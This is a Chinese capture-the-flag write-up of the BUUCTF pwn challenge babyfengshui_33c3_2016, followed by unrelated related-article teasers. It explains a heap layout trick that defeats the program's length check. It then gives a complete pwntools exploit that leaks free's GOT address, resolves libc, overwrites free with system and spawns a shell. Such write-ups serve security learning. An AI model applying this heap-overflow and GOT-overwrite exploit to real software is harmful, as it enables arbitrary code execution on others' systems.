[BUUCTF]-PWN:babyfengshui_33c3_2016解析

又是一道堆题,先看保护

关键信息是32位,没开pie

直接看ida

大致是alloc创建堆块,free释放堆块,show查看堆块内容,fill填充堆块内容

其他的都没啥关键的要讲,但alloc那里非常需要解析一下

解释如上图

再具体一点就是 我们输入的字节大小+堆块地址>=相邻0x80堆块的地址时会被强制退出

必须要 我们输入的字节大小+堆块地址<相邻0x80堆块的地址

那就意味这即便你填充到极限大小,即使下面有加1,你也没法修改相邻堆块的堆头size

解题思路:

上面我们提到程序限制输入字节大小的手段,但是这个判断条件很特殊,必须要是相邻的堆块才能这么判断,但当我们先创建任意大小的两个堆块,再free掉堆块0,再申请一个0x80大小的堆块,这时候我们申请的0x80大小的堆块就会申请到原来相邻的程序自动创建的0x80大小的堆块。可这时系统申请的堆块就没法与我们创建的0x80大小的堆块相邻了,因为这时我们申请的堆块相邻已经有堆块了,所以他就会往下找空间去存放程序创建的0x80堆块了。

而这时,我们可以填充的字节大小就会变大很多,足以覆盖下一个我们自己申请的堆块的相邻程序自动创建堆块里存放的堆块指针

有点绕,简单点来说就是覆盖堆块1的指针,把他改为free的got地址,这样打印free的got地址与替换free的got表里的内容为system就可以一步到位了

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./fs')
#p=remote('node5.buuoj.cn',29284)
free_got=0x804B010def alloc(description,size,context):p.sendlineafter(b'Action:',str(0))p.sendlineafter(b'size of description:',str(description))p.sendlineafter(b'name:',b'aa')p.sendlineafter(b'text length:',str(size))p.sendlineafter(b'text:',context)
def free(index):p.sendlineafter(b'Action:',str(1))p.sendlineafter(b'index',str(index))
def show(index):p.sendlineafter(b'Action:',str(2))p.sendlineafter(b'index',str(index))
def fill(index,size,context):p.sendlineafter(b'Action:',str(3))p.sendlineafter(b'index',str(index))p.sendlineafter(b'text length:',str(size))p.sendlineafter(b'text:',context)alloc(0x8,0x8,b'bb') #这仨堆块大小没太大限制,当然越少越好计算就行
alloc(0x10,0x8,b'bb') #这里填入的两个字节大小有点绕,其实他后一个大小是用到了填充堆块的那个函数
alloc(0x10,0x8,b'/bin/sh\x00')
free(0)
payload=p32(0)*33+p32(0x19)+p32(0)*5+p32(0x89)+p32(free_got) #注意这里不要破坏已有的堆块结构
alloc(0x80,len(payload),payload) #这里要是0x80大小
print(len(payload))
show(1)
free_addr=u32(p.recvuntil(b'\xf7')[-4:])
print(free_addr)
libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system=libcbase+libc.dump('system')
payload=p32(system) #因为堆块1的指针被替换成free_got所以编辑堆块1就是修改free的got表里的内容
fill(1,len(payload),payload)
free(2) #相当于运行system('/bin/sh')
p.interactive()

补充点1:创建堆块alloc那里刚开始看可能有点绕,解释一下,就是name是啥不重要,前一个大小其实就是我们要申请的堆块大小,后面那一个大小是我们要填充堆块的内容的大小,那个b'bb'就是我们要填充堆块内容的地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/434508.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站将http升级到https大概要多少费用

随着网络安全意识的不断提升&#xff0c;越来越多的网站正从传统的HTTP协议转向更安全的HTTPS协议。这一转变的核心在于部署SSL&#xff08;Secure Sockets Layer&#xff09;或TLS&#xff08;Transport Layer Security&#xff09;证书&#xff0c;以实现数据加密传输&#x…

phar反序列化漏洞

基础&#xff1a; Phar是一种PHP文件归档格式&#xff0c;它类似于ZIP或JAR文件格式&#xff0c;可以将多个PHP文件打包成一个单独的文件&#xff08;即Phar文件&#xff09;。 打包后的Phar文件可以像普通的PHP文件一样执行&#xff0c;可以包含PHP代码、文本文件、图像等各…

微信小程序(十八)组件通信(父传子)

注释很详细&#xff0c;直接上代码 上一篇 新增内容&#xff1a; 1.组件属性变量的定义 2.组件属性变量的默认状态 3.组件属性变量的传递方法 解释一下为什么是父传子&#xff0c;因为组件是页面的一部分&#xff0c;数据是从页面传递到组件的&#xff0c;所以是父传子&#xf…

SpringMVC第六天(拦截器)

概念 拦截器(Interceptor)是一种动态拦截方法调用的机制&#xff0c;在SpringMVC中动态拦截控制器方法的执行 作用&#xff1a; 在指定的方法调用前后执行预先设定的代码 阻止原始方法的执行 拦截器与过滤器的区别 归属不同&#xff1a;Filter属于Servlet技术&#xff0c;I…

k8s从初识到上天系列第二篇:kubernetes的组件和架构

&#x1f609;&#x1f609; 欢迎加入我们的学习交流群呀&#xff01; ✅✅1&#xff1a;这是孙哥suns给大家的福利&#xff01; ✨✨2&#xff1a;我们免费分享Netty、Dubbo、k8s、Mybatis、Spring、SpringSecurity、Docker、Grpc、各种MQ、Rpc、SpringCloud等等很多应用和源码…

UDF学习(五)FLUENT UDF-DEFINE_INIT宏和DEFINE_DELTAT宏和DEFINE_ADJUST宏

FLUENT UDF-DEFINE_INIT宏 以此为例&#xff1a; DEFINE_INIT(init,domain)//一般格式 #include"udf.h" DEFINE_INIT(init,domain) { cell_t c; Thread *thread; real xc[ND_ND],x,y; thread_loop_c(thread,domain) { begin_c_loop(c,thread) } C_CENTROID(xc,c,t…

【C++】C++ 入门 — 命名空间,输入输出,函数新特性

C 1 前言2 命名空间2.1 概念引入2.2 开始使用2.3 投入应用 3 输入与输出3.1 基础知识3.2 开始使用3.3 注意局限 4 函数新特性4.1 缺省参数4.1.1 开始使用4.1.2 注意事项 4.2 函数重载4.2.1 开始使用4.2.2 如何实现 Thanks♪(&#xff65;ω&#xff65;)&#xff89;谢谢阅读下…

Python算法题集_接雨水

本文为Python算法题集之一的代码示例 题目42&#xff1a;接雨水 说明&#xff1a;给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水 示例 1&#xff1a; 输入&#xff1a;height [0,1,0,2,1,0,1,3,2,1,2,1]…

银行数据仓库体系实践(11)--数据仓库开发管理系统及开发流程

数据仓库管理着整个银行或公司的数据&#xff0c;数据结构复杂&#xff0c;数据量庞大&#xff0c;任何一个数据字段的变化或错误都会引起数据错误&#xff0c;影响数据应用&#xff0c;同时业务的发展也带来系统不断升级&#xff0c;数据需求的不断增加&#xff0c;数据仓库需…

HBase入门:运行机制

文章目录 HBase 系统架构客户端ZooKeeper 服务器Master 主服务器Region 服务器 Region 服务器工作原理用户读写数据的过程缓存的刷新StoreFile合并 Store 的工作原理HLog 的工作原理 HBase 系统架构 HBase 的系统架构包括客户端、ZooKeeper 服务器、Master 主服务器、Region服…

Liunx基础-----------------------第十六章网站服务

一、概念 UI的转变&#xff1a;B/S框架 HYML&#xff1a;超文本标记语言 网页&#xff1a;使用HTML&#xff0c;PHP&#xff0c;JAVA语言格式书写的文件 主页&#xff1a;网页中呈现用户的第一个页面 网站&#xff1a;多个网页组合而成的一台网站服务器 URL&#xff1a;统…

【HarmonyOS应用开发】开发介绍 DevEco Studio安装与使用(一)

内容比较长&#xff0c;干货满满&#xff0c;全是实战操作内容&#xff0c;希望耐心观看&#xff0c;如果对你有所帮助&#xff0c;请点个赞&#xff01; 官方文档&#xff1a;https://developer.huawei.com/consumer/cn/training/course/slightMooc/C101667303102887820 访…